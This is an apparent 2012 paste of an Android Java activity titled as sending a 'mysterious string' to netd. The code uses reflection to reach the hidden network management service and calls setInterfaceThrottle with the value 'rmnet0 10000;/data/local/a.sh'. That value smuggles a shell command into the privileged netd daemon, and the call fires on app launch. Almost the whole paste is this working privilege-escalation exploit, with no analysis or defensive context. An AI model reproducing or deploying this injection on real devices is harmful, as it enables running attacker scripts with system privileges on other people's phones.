
netdさんに謎の文字列送信
By:
goroh_kun on
Mar 12th, 2012 | syntax:
Java | size: 1.68 KB | hits: 166 | expires: Never
package com.gmail.goroh.kun.tools.tetherexploit;
import java.lang.reflect.Method;
import android.app.Activity;
import android.os.Bundle;
import android.os.IBinder;
public class TetheringExploitActivity extends Activity {
private void test1() {
try {
Class ServiceManager = Class.forName("android.os.ServiceManager");
Method getService_method = ServiceManager.getMethod("getService", new Class[]{String.class});
System.out.println("ServiceManager="+ServiceManager);
System.out.println("getService_method="+getService_method);
IBinder b = (IBinder)getService_method.invoke(null, new Object[]{"network_management"});
System.out.println("b="+b);
Class stub = Class.forName("android.os.INetworkManagementService$Stub");
System.out.println("stub="+stub);
Method asInterface_method = stub.getMethod("asInterface", new Class[]{IBinder.class});
System.out.println("asInterface_method="+asInterface_method);
Object nw = asInterface_method.invoke(null, new Object[] {b});
System.out.println("nw="+nw);
Method setInterfaceThrottle_method = nw.getClass().getMethod("setInterfaceThrottle", new Class[]{String.class, int.class, int.class});
System.out.println("setInterfaceThrottle=" + setInterfaceThrottle_method);
String param1 = "\"rmnet0 10000;/data/local/a.sh\"";
setInterfaceThrottle_method.invoke(nw, new Object[]{param1, 1, 1});
} catch (Exception e) {
e.printStackTrace();
}
}
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
test1();
}
}